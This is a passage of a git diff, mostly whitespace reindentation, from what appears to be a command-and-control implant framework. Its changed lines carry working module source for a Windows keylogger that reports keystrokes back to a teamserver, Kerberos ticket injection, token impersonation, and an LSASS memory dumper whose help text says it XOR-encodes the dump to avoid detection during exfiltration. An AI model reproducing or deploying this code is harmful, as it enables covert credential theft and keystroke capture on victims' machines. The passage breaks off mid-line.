(PKERB_SUBMIT_TKT_REQUEST) LocalAlloc(LPTR, submitSize)) - { + { pKerbSubmit->MessageType = KerbSubmitTicketMessage; pKerbSubmit->KerbCredSize = ticket.size(); pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST); @@ -189,5 +189,5 @@ std::string KerberosUseTicket::importTicket(const std::string& ticket) #endif - return result; + return result; } \ No newline at end of file diff --git a/modules/KerberosUseTicket/KerberosUseTicket.hpp b/modules/KerberosUseTicket/KerberosUseTicket.hpp index a4f3eb5..2f6dbef 100644 --- a/modules/KerberosUseTicket/KerberosUseTicket.hpp +++ b/modules/KerberosUseTicket/KerberosUseTicket.hpp @@ -7,20 +7,20 @@ class KerberosUseTicket : public ModuleCmd { public: - KerberosUseTicket(); - ~KerberosUseTicket(); + KerberosUseTicket(); + ~KerberosUseTicket(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } private: - std::string importTicket(const std::string& ticket); + std::string importTicket(const std::string& ticket); }; diff --git a/modules/KeyLogger/KeyLogger.cpp b/modules/KeyLogger/KeyLogger.cpp index 7c896f4..43af555 100644 --- a/modules/KeyLogger/KeyLogger.cpp +++ b/modules/KeyLogger/KeyLogger.cpp @@ -34,12 +34,12 @@ __attribute__((visibility("default"))) KeyLogger* KeyLoggerConstructor() KeyLogger::KeyLogger() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { - m_isThreadLaunched=false; + m_isThreadLaunched=false; } KeyLogger::~KeyLogger() @@ -48,74 +48,74 @@ KeyLogger::~KeyLogger() std::string KeyLogger::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "keyLogger:\n"; - info += "keyLogger \n"; - info += "exemple:\n"; - info += "- keyLogger start\n"; - info += "- keyLogger stop\n"; - info += "- keyLogger dump\n"; + info += "keyLogger:\n"; + info += "keyLogger \n"; + info += "exemple:\n"; + info += "- keyLogger start\n"; + info += "- keyLogger stop\n"; + info += "- keyLogger dump\n"; #endif - return info; + return info; } int KeyLogger::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - if (splitedCmd.size() >= 2 ) - { - if(splitedCmd[1]=="start") - { - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_args(splitedCmd[1]); - } - else if(splitedCmd[1]=="stop") - { - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_args(splitedCmd[1]); - } - else if(splitedCmd[1]=="dump") - { - std::string output = "Dump:\n"; - output+=m_saveKeyStrock; - c2Message.set_returnvalue(output); - m_saveKeyStrock=""; - return -1; - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + if (splitedCmd.size() >= 2 ) + { + if(splitedCmd[1]=="start") + { + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_args(splitedCmd[1]); + } + else if(splitedCmd[1]=="stop") + { + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_args(splitedCmd[1]); + } + else if(splitedCmd[1]=="dump") + { + std::string output = "Dump:\n"; + output+=m_saveKeyStrock; + c2Message.set_returnvalue(output); + m_saveKeyStrock=""; + return -1; + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } int KeyLogger::recurringExec(C2Message& c2RetMessage) { - std::string output; - dumpKeys(output); + std::string output; + dumpKeys(output); - c2RetMessage.set_instruction(std::to_string(getHash())); - c2RetMessage.set_data(output); - - return 1; + c2RetMessage.set_instruction(std::to_string(getHash())); + c2RetMessage.set_data(output); + + return 1; } int KeyLogger::followUp(const C2Message &c2RetMessage) { - m_saveKeyStrock+=c2RetMessage.data(); + m_saveKeyStrock+=c2RetMessage.data(); - return 0; + return 0; } @@ -124,15 +124,15 @@ void KeyLogger::run(void* keyLoggerPtr) #ifdef __linux__ #elif _WIN32 - KeyLogger* data = (KeyLogger*)keyLoggerPtr; + KeyLogger* data = (KeyLogger*)keyLoggerPtr; - while (data->getIsThreadLaunched()) + while (data->getIsThreadLaunched()) { - // note looking ofr backspace + // note looking ofr backspace // for (int i = 0x8; i < 0xFE; i++) - for (int i = 0x8; i < 0xFE; i++) + for (int i = 0x8; i < 0xFE; i++) { - if (i != VK_LSHIFT + if (i != VK_LSHIFT && i != VK_RSHIFT && i != VK_SHIFT && i != VK_LCONTROL @@ -142,37 +142,37 @@ void KeyLogger::run(void* keyLoggerPtr) && i != VK_RMENU && i != VK_MENU) { - short keyState = GetAsyncKeyState(i); + short keyState = GetAsyncKeyState(i); - if ((keyState & 0x01)) - { - HKL keyboardLayout = GetKeyboardLayout(0); - - bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0); + if ((keyState & 0x01)) + { + HKL keyboardLayout = GetKeyboardLayout(0); + + bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0); - if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 - || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 - || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) - { - lowercase = !lowercase; - } + if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 + || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 + || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) + { + lowercase = !lowercase; + } - UINT key = MapVirtualKeyExA(i, MAPVK_VK_TO_CHAR, keyboardLayout); - - if(key!=0) - { - BYTE keystate[256]; - GetKeyboardState(keystate); + UINT key = MapVirtualKeyExA(i, MAPVK_VK_TO_CHAR, keyboardLayout); + + if(key!=0) + { + BYTE keystate[256]; + GetKeyboardState(keystate); - char finalCharPressed; - int nchars = ToAscii( i, key, keystate, (LPWORD)&finalCharPressed, 0); + char finalCharPressed; + int nchars = ToAscii( i, key, keystate, (LPWORD)&finalCharPressed, 0); - data->setKey(finalCharPressed); - } - } - } + data->setKey(finalCharPressed); + } + } + } } - std::this_thread::sleep_for(std::chrono::milliseconds(5)); + std::this_thread::sleep_for(std::chrono::milliseconds(5)); } #endif @@ -186,59 +186,59 @@ void KeyLogger::run(void* keyLoggerPtr) int KeyLogger::process(C2Message &c2Message, C2Message &c2RetMessage) { - c2RetMessage.set_instruction(c2Message.instruction()); - std::string args = c2Message.args(); + c2RetMessage.set_instruction(c2Message.instruction()); + std::string args = c2Message.args(); - if( args == "start") - { - if(m_isThreadLaunched==false) - { - m_isThreadLaunched=true; + if( args == "start") + { + if(m_isThreadLaunched==false) + { + m_isThreadLaunched=true; #ifdef __linux__ #elif _WIN32 - CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) KeyLogger::run, this, 0, (LPDWORD)&this->threadID); + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) KeyLogger::run, this, 0, (LPDWORD)&this->threadID); #endif - c2RetMessage.set_returnvalue("launched"); - } - else - { - c2RetMessage.set_errorCode(ERROR_ALREADY_LAUNCHED); - } - } - else if( args == "stop") - { - if(m_isThreadLaunched==true) - { - m_isThreadLaunched=false; - c2RetMessage.set_returnvalue("stoped"); - } - else - { - c2RetMessage.set_errorCode(ERROR_ALREADY_STOPED); - } - } - else - { - c2RetMessage.set_errorCode(ERROR_UNKNOWN); - } + c2RetMessage.set_returnvalue("launched"); + } + else + { + c2RetMessage.set_errorCode(ERROR_ALREADY_LAUNCHED); + } + } + else if( args == "stop") + { + if(m_isThreadLaunched==true) + { + m_isThreadLaunched=false; + c2RetMessage.set_returnvalue("stoped"); + } + else + { + c2RetMessage.set_errorCode(ERROR_ALREADY_STOPED); + } + } + else + { + c2RetMessage.set_errorCode(ERROR_UNKNOWN); + } - return 0; + return 0; } int KeyLogger::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) { #ifdef BUILD_TEAMSERVER - int errorCode = c2RetMessage.errorCode(); - if(errorCode>0) - { - if(errorCode==ERROR_ALREADY_LAUNCHED) - errorMsg = "Failed: Already launched"; - else if(errorCode==ERROR_ALREADY_STOPED) - errorMsg = "Failed: Already stoped"; - else if(errorCode==ERROR_UNKNOWN) - errorMsg = "Failed: error unknown"; - } + int errorCode = c2RetMessage.errorCode(); + if(errorCode>0) + { + if(errorCode==ERROR_ALREADY_LAUNCHED) + errorMsg = "Failed: Already launched"; + else if(errorCode==ERROR_ALREADY_STOPED) + errorMsg = "Failed: Already stoped"; + else if(errorCode==ERROR_UNKNOWN) + errorMsg = "Failed: error unknown"; + } #endif - return 0; + return 0; } diff --git a/modules/KeyLogger/KeyLogger.hpp b/modules/KeyLogger/KeyLogger.hpp index ed16ffb..db9e56c 100644 --- a/modules/KeyLogger/KeyLogger.hpp +++ b/modules/KeyLogger/KeyLogger.hpp @@ -8,48 +8,48 @@ class KeyLogger : public ModuleCmd { public: - KeyLogger(); - ~KeyLogger(); + KeyLogger(); + ~KeyLogger(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); - int recurringExec(C2Message& c2RetMessage); - int followUp(const C2Message &c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); + int recurringExec(C2Message& c2RetMessage); + int followUp(const C2Message &c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } - bool getIsThreadLaunched() - { - return m_isThreadLaunched; - } + bool getIsThreadLaunched() + { + return m_isThreadLaunched; + } - int setKey(char charPressed) - { - std::lock_guard guard(m_mutex); - m_saveKeyStrock.push_back(charPressed); - return 0; - } + int setKey(char charPressed) + { + std::lock_guard guard(m_mutex); + m_saveKeyStrock.push_back(charPressed); + return 0; + } - int dumpKeys(std::string& output) - { - std::lock_guard guard(m_mutex); - output = m_saveKeyStrock; - m_saveKeyStrock.clear(); - return 0; - } - + int dumpKeys(std::string& output) + { + std::lock_guard guard(m_mutex); + output = m_saveKeyStrock; + m_saveKeyStrock.clear(); + return 0; + } + private: - int threadID; - bool m_isThreadLaunched; - std::string m_saveKeyStrock; - std::mutex m_mutex; + int threadID; + bool m_isThreadLaunched; + std::string m_saveKeyStrock; + std::mutex m_mutex; - static void run(void* keyLoggerPtr); + static void run(void* keyLoggerPtr); }; diff --git a/modules/ListDirectory/ListDirectory.cpp b/modules/ListDirectory/ListDirectory.cpp index 8d9e98c..747b754 100644 --- a/modules/ListDirectory/ListDirectory.cpp +++ b/modules/ListDirectory/ListDirectory.cpp @@ -33,9 +33,9 @@ __attribute__((visibility("default"))) ListDirectory * ListDirectoryConstructor( ListDirectory::ListDirectory() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -46,7 +46,7 @@ ListDirectory::~ListDirectory() std::string ListDirectory::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER info += "ListDirectory Module:\n"; info += "List the contents of a directory on the victim machine.\n"; @@ -55,7 +55,7 @@ std::string ListDirectory::getInfo() info += "- ls /tmp\n"; info += "- ls C:\\Users\\Public\n"; #endif - return info; + return info; } int ListDirectory::init(std::vector &splitedCmd, C2Message &c2Message) @@ -68,22 +68,22 @@ int ListDirectory::init(std::vector &splitedCmd, C2Message &c2Messa path+=splitedCmd[idx]; } - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_cmd(path); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_cmd(path); - return 0; + return 0; } int ListDirectory::process(C2Message &c2Message, C2Message &c2RetMessage) { - string path = c2Message.cmd(); - std::string outCmd = listDirectory(path); + string path = c2Message.cmd(); + std::string outCmd = listDirectory(path); - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(path); - c2RetMessage.set_returnvalue(outCmd); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(path); + c2RetMessage.set_returnvalue(outCmd); - return 0; + return 0; } struct HumanReadable { @@ -179,11 +179,11 @@ std::string ListDirectory::listDirectory(const std::string& path) } } catch (const std::exception &exc) - { - result += "Error: "; + { + result += "Error: "; result += exc.what(); result += "\n"; } - return result; + return result; } \ No newline at end of file diff --git a/modules/ListDirectory/ListDirectory.hpp b/modules/ListDirectory/ListDirectory.hpp index 8632a4d..ae3e3cd 100644 --- a/modules/ListDirectory/ListDirectory.hpp +++ b/modules/ListDirectory/ListDirectory.hpp @@ -7,20 +7,20 @@ class ListDirectory : public ModuleCmd { public: - ListDirectory(); - ~ListDirectory(); + ListDirectory(); + ~ListDirectory(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_LINUX | OS_WINDOWS; } private: - std::string listDirectory(const std::string& path); + std::string listDirectory(const std::string& path); }; diff --git a/modules/ListProcesses/ListProcesses.cpp b/modules/ListProcesses/ListProcesses.cpp index a8b8399..1581bed 100644 --- a/modules/ListProcesses/ListProcesses.cpp +++ b/modules/ListProcesses/ListProcesses.cpp @@ -267,21 +267,21 @@ std::string getProcessInfos(DWORD processID, std::string& processName) result += "\n"; } else - { - std::string account=""; - std::string arch = " "; - - result += account; - int size = max(1, (int)(30 - account.size())); - result += std::string(size, ' '); - result += arch; - result += " "; - result += processName; - size = max(1, (int)(40 - processName.size())); - result += std::string(size, ' '); - result += std::to_string(processID); - result += "\n"; - } + { + std::string account=""; + std::string arch = " "; + + result += account; + int size = max(1, (int)(30 - account.size())); + result += std::string(size, ' '); + result += arch; + result += " "; + result += processName; + size = max(1, (int)(40 - processName.size())); + result += std::string(size, ' '); + result += std::to_string(processID); + result += "\n"; + } CloseHandle( hProcess ); @@ -294,41 +294,41 @@ std::string GetProcess() std::string result; int pid = 0; - PVOID buffer = NULL; - DWORD bufSize = 0; - - NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); - pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, 0, 0, &bufSize); - - if (bufSize == 0) - return "GetProcess Failed"; - - buffer = VirtualAlloc(0, bufSize, MEM_COMMIT, PAGE_READWRITE); - - SYSTEM_PROCESS_INFORMATION * sysproc_info = (SYSTEM_PROCESS_INFORMATION *) buffer; - if (pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, buffer, bufSize, &bufSize)) + PVOID buffer = NULL; + DWORD bufSize = 0; + + NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); + pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, 0, 0, &bufSize); + + if (bufSize == 0) + return "GetProcess Failed"; + + buffer = VirtualAlloc(0, bufSize, MEM_COMMIT, PAGE_READWRITE); + + SYSTEM_PROCESS_INFORMATION * sysproc_info = (SYSTEM_PROCESS_INFORMATION *) buffer; + if (pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, buffer, bufSize, &bufSize)) return "pNtQuerySystemInformation Failed"; while (TRUE) - { - std::string processName; - for(int i=0; iImageName.Length; i++) - { - if((char)sysproc_info->ImageName.Buffer[i]=='\0') - break; - processName.push_back((char)sysproc_info->ImageName.Buffer[i]); - } - - result += getProcessInfos((DWORD)sysproc_info->UniqueProcessId, processName); - - if (!sysproc_info->NextEntryOffset) - break; - - sysproc_info = (SYSTEM_PROCESS_INFORMATION *)((ULONG_PTR) sysproc_info + sysproc_info->NextEntryOffset); - } - - VirtualFree(buffer, bufSize, MEM_RELEASE); + { + std::string processName; + for(int i=0; iImageName.Length; i++) + { + if((char)sysproc_info->ImageName.Buffer[i]=='\0') + break; + processName.push_back((char)sysproc_info->ImageName.Buffer[i]); + } + + result += getProcessInfos((DWORD)sysproc_info->UniqueProcessId, processName); + + if (!sysproc_info->NextEntryOffset) + break; + + sysproc_info = (SYSTEM_PROCESS_INFORMATION *)((ULONG_PTR) sysproc_info + sysproc_info->NextEntryOffset); + } + + VirtualFree(buffer, bufSize, MEM_RELEASE); return result; } @@ -359,9 +359,9 @@ __attribute__((visibility("default"))) ListProcesses* ListProcessesConstructor( ListProcesses::ListProcesses() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -372,7 +372,7 @@ ListProcesses::~ListProcesses() std::string ListProcesses::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER info += "ListProcesses Module:\n"; info += "List all running processes on the victim machine.\n"; @@ -380,26 +380,26 @@ std::string ListProcesses::getInfo() info += "\nExamples:\n"; info += "- ps\n"; #endif - return info; + return info; } int ListProcesses::init(std::vector &splitedCmd, C2Message &c2Message) { - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_cmd(""); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_cmd(""); - return 0; + return 0; } int ListProcesses::process(C2Message &c2Message, C2Message &c2RetMessage) { - std::string outCmd = listProcesses(); + std::string outCmd = listProcesses(); - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(""); - c2RetMessage.set_returnvalue(outCmd); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(""); + c2RetMessage.set_returnvalue(outCmd); - return 0; + return 0; } @@ -417,5 +417,5 @@ std::string ListProcesses::listProcesses() #endif - return result; + return result; } \ No newline at end of file diff --git a/modules/ListProcesses/ListProcesses.hpp b/modules/ListProcesses/ListProcesses.hpp index ae80a37..46495aa 100644 --- a/modules/ListProcesses/ListProcesses.hpp +++ b/modules/ListProcesses/ListProcesses.hpp @@ -7,20 +7,20 @@ class ListProcesses : public ModuleCmd { public: - ListProcesses(); - ~ListProcesses(); + ListProcesses(); + ~ListProcesses(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_LINUX | OS_WINDOWS; } private: - std::string listProcesses(); + std::string listProcesses(); }; diff --git a/modules/MakeToken/MakeToken.cpp b/modules/MakeToken/MakeToken.cpp index 31210d6..b9ad327 100644 --- a/modules/MakeToken/MakeToken.cpp +++ b/modules/MakeToken/MakeToken.cpp @@ -46,9 +46,9 @@ __attribute__((visibility("default"))) MakeToken* MakeTokenConstructor() MakeToken::MakeToken() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -59,14 +59,14 @@ MakeToken::~MakeToken() std::string MakeToken::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "makeToken:\n"; - info += "Create a token from user and password and impersonate it. \n"; - info += "exemple:\n"; - info += "- makeToken DOMAIN\\Username Password\n"; + info += "makeToken:\n"; + info += "Create a token from user and password and impersonate it. \n"; + info += "exemple:\n"; + info += "- makeToken DOMAIN\\Username Password\n"; #endif - return info; + return info; } int MakeToken::init(std::vector &splitedCmd, C2Message &c2Message) @@ -104,13 +104,13 @@ int MakeToken::init(std::vector &splitedCmd, C2Message &c2Message) c2Message.set_cmd(cmd); } else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } @@ -147,7 +147,7 @@ int MakeToken::process(C2Message &c2Message, C2Message &c2RetMessage) // https://github.com/rapid7/meterpreter/blob/master/source/extensions/kiwi/mimikatz/modules/kuhl_m_token.c std::string MakeToken::makeToken(const std::string& username, const std::string& domain, const std::string& password) { - std::string result; + std::string result; #ifdef __linux__ diff --git a/modules/MakeToken/MakeToken.hpp b/modules/MakeToken/MakeToken.hpp index 885b752..3857e01 100644 --- a/modules/MakeToken/MakeToken.hpp +++ b/modules/MakeToken/MakeToken.hpp @@ -7,10 +7,10 @@ class MakeToken : public ModuleCmd { public: - MakeToken(); - ~MakeToken(); + MakeToken(); + ~MakeToken(); - std::string getInfo(); + std::string getInfo(); int init(std::vector& splitedCmd, C2Message& c2Message); int process(C2Message& c2Message, C2Message& c2RetMessage); @@ -21,7 +21,7 @@ public: } private: - std::string makeToken(const std::string& username, const std::string& domain, const std::string& password); + std::string makeToken(const std::string& username, const std::string& domain, const std::string& password); }; diff --git a/modules/MiniDump/MiniDump.cpp b/modules/MiniDump/MiniDump.cpp index af9d2cf..026ac90 100644 --- a/modules/MiniDump/MiniDump.cpp +++ b/modules/MiniDump/MiniDump.cpp @@ -38,9 +38,9 @@ struct Memory64Info // Constructor for convenience Memory64Info(void* address, SIZE_T size) : Address(address), Size(size) - { + { - } + } }; @@ -78,7 +78,7 @@ typedef struct _MiniDumpSystemInfo ULONG32 BuildNumber; ULONG32 PlatformId; - ULONG32 UnknownField1; + ULONG32 UnknownField1; ULONG32 UnknownField2; ULONG32 ProcessorFeatures; ULONG32 ProcessorFeatures2; @@ -116,7 +116,7 @@ typedef struct _MiniDumpLocationDescriptor typedef struct _MiniDumpModule { - ULONG32 NumberOfModules; + ULONG32 NumberOfModules; ULONG64 BaseOfImage; ULONG32 SizeOfImage; ULONG32 CheckSum; @@ -132,7 +132,7 @@ typedef struct _MiniDumpModule typedef struct _ModuleSize { - ULONG32 size; + ULONG32 size; } ModuleSize, *PModuleSize; @@ -140,14 +140,14 @@ typedef struct _ModuleSize typedef struct _MiniDumpMemory64ListStream { uint64_t NumberOfEntries; - uint64_t MemoryRegionsBaseAddress; + uint64_t MemoryRegionsBaseAddress; } MiniDumpMemory64ListStream, *PMiniDumpMemory64ListStream; typedef struct _MiniDumpMemory64Info { uint64_t address; - uint64_t size; + uint64_t size; } MiniDumpMemory64Info, *PMiniDumpMemory64Info; @@ -170,9 +170,9 @@ __attribute__((visibility("default"))) MiniDump* MiniDumpConstructor() MiniDump::MiniDump() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { @@ -187,21 +187,21 @@ MiniDump::~MiniDump() std::string MiniDump::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "MiniDump Module:\n"; - info += "This module allows you to dump the LSASS process memory and output it as a file that is XOR-encrypted for evasion purposes.\n"; - info += "The XORed dump file will be saved in the current directory. You can then decrypt it, once downloaded in the TeamServer, using the 'decrypt' command.\n\n"; - info += "Usage:\n"; - info += " miniDump dump dmpFile.xored\n"; - info += " - Dumps LSASS memory to an XOR-encrypted file (e.g., ./dmpFile.xored)\n\n"; - info += " miniDump decrypt \n"; - info += " - Decrypts the specified XORed dump file for analysis (e.g., miniDump decrypt /tmp/dmpFile.xored)\n\n"; - info += "Note:\n"; - info += " - The dump file is XOR-encoded to avoid detection during exfiltration.\n"; - info += " - Use the 'decrypt' command locally after download to convert it back to a usable minidump.\n"; + info += "MiniDump Module:\n"; + info += "This module allows you to dump the LSASS process memory and output it as a file that is XOR-encrypted for evasion purposes.\n"; + info += "The XORed dump file will be saved in the current directory. You can then decrypt it, once downloaded in the TeamServer, using the 'decrypt' command.\n\n"; + info += "Usage:\n"; + info += " miniDump dump dmpFile.xored\n"; + info += " - Dumps LSASS memory to an XOR-encrypted file (e.g., ./dmpFile.xored)\n\n"; + info += " miniDump decrypt \n"; + info += " - Decrypts the specified XORed dump file for analysis (e.g., miniDump decrypt /tmp/dmpFile.xored)\n\n"; + info += "Note:\n"; + info += " - The dump file is XOR-encoded to avoid detection during exfiltration.\n"; + info += " - Use the 'decrypt' command locally after download to convert it back to a usable minidump.\n"; #endif - return info; + return info; } @@ -214,61 +214,61 @@ int MiniDump::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - if(splitedCmd.size() == 3 && splitedCmd[1]=="dump") - { - c2Message.set_cmd(dumpCmd); - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_outputfile(splitedCmd[2]); - return 0; - } - else if(splitedCmd.size() == 3 && splitedCmd[1]=="decrypt") - { + if(splitedCmd.size() == 3 && splitedCmd[1]=="dump") + { + c2Message.set_cmd(dumpCmd); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_outputfile(splitedCmd[2]); + return 0; + } + else if(splitedCmd.size() == 3 && splitedCmd[1]=="decrypt") + { - std::string filename = splitedCmd[2]; - std::ifstream dumpfile(filename, std::ios::binary); - if (dumpfile) - { - dumpfile.seekg(0, std::ios::end); - std::streamsize size = dumpfile.tellg(); - dumpfile.seekg(0, std::ios::beg); + std::string filename = splitedCmd[2]; + std::ifstream dumpfile(filename, std::ios::binary); + if (dumpfile) + { + dumpfile.seekg(0, std::ios::end); + std::streamsize size = dumpfile.tellg(); + dumpfile.seekg(0, std::ios::beg); - std::string buffer(size, '\0'); + std::string buffer(size, '\0'); - if (!dumpfile.read(&buffer[0], size)) - { - c2Message.set_returnvalue("Error: read file"); - return -1; - } + if (!dumpfile.read(&buffer[0], size)) + { + c2Message.set_returnvalue("Error: read file"); + return -1; + } - XOR(buffer, xorKey); + XOR(buffer, xorKey); - std::string outputFilePath = filename+".dmp"; - std::ofstream outputFile(outputFilePath, std::ios::binary); - if (outputFile) - { - outputFile.write(reinterpret_cast(buffer.data()), buffer.size()); - outputFile.close(); - } + std::string outputFilePath = filename+".dmp"; + std::ofstream outputFile(outputFilePath, std::ios::binary); + if (outputFile) + { + outputFile.write(reinterpret_cast(buffer.data()), buffer.size()); + outputFile.close(); + } - std::string outputMsg = "Output file: "; - outputMsg+=outputFilePath; - c2Message.set_returnvalue(outputMsg); - return -1; - } - else - { - c2Message.set_returnvalue("Error: file not found"); - return -1; - } - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + std::string outputMsg = "Output file: "; + outputMsg+=outputFilePath; + c2Message.set_returnvalue(outputMsg); + return -1; + } + else + { + c2Message.set_returnvalue("Error: file not found"); + return -1; + } + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } @@ -323,10 +323,10 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address) const size_t MAX_ITER = 32; // cap to avoid infinite loop (32 * 512 = 16 KB) for (size_t iter = 0; iter < MAX_ITER; ++iter) - { + { NTSTATUS ntstatus = Sw3NtReadVirtualMemory_(hProcess, cur_addr, buffer, CHUNK_BYTES, &bytesRead); if (ntstatus != 0 || bytesRead == 0) - { + { break; } @@ -336,9 +336,9 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address) bool foundNull = false; for (SIZE_T i = 0; i < wcharCount; ++i) - { + { if (wptr[i] == L'\0') - { + { foundNull = true; break; } @@ -346,7 +346,7 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address) } if (foundNull) - { + { break; } @@ -355,7 +355,7 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address) } if (wacc.empty()) - { + { return std::string(); } @@ -366,7 +366,7 @@ std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address) // Convert to UTF-8 int required = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL); if (required <= 0) - { + { return std::string(); } std::string out(required - 1, '\0'); // exclude terminating null @@ -399,7 +399,7 @@ typedef NTSTATUS (NTAPI *PFN_NtQueryInformationProcess)( std::vector CustomGetModuleHandle(HANDLE hProcess, const std::string &moduleName) { - std::vector modules; + std::vector modules; int process_basic_information_size = 48; int peb_offset = 0x8; @@ -409,13 +409,13 @@ std::vector CustomGetModuleHandle(HANDLE hProcess, const std: int flink_buffer_fulldllname_offset = 0x40; int flink_buffer_offset = 0x50; - PROCESS_BASIC_INFORMATION pbi; + PROCESS_BASIC_INFORMATION pbi; ULONG ReturnLength; - HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); - PFN_NtQueryInformationProcess pNtQuery = (PFN_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess"); + HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); + PFN_NtQueryInformationProcess pNtQuery = (PFN_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess"); NTSTATUS ntstatus = pNtQuery(hProcess, ProcessBasicInformation, &pbi, (ULONG)process_basic_information_size, &ReturnLength); if (ntstatus != 0) - { + { return modules; } @@ -427,7 +427,7 @@ std::vector CustomGetModuleHandle(HANDLE hProcess, const std: void* dll_base = (void*)1337; while (dll_base != NULL) - { + { next_flink = (void*)((uintptr_t)next_flink - 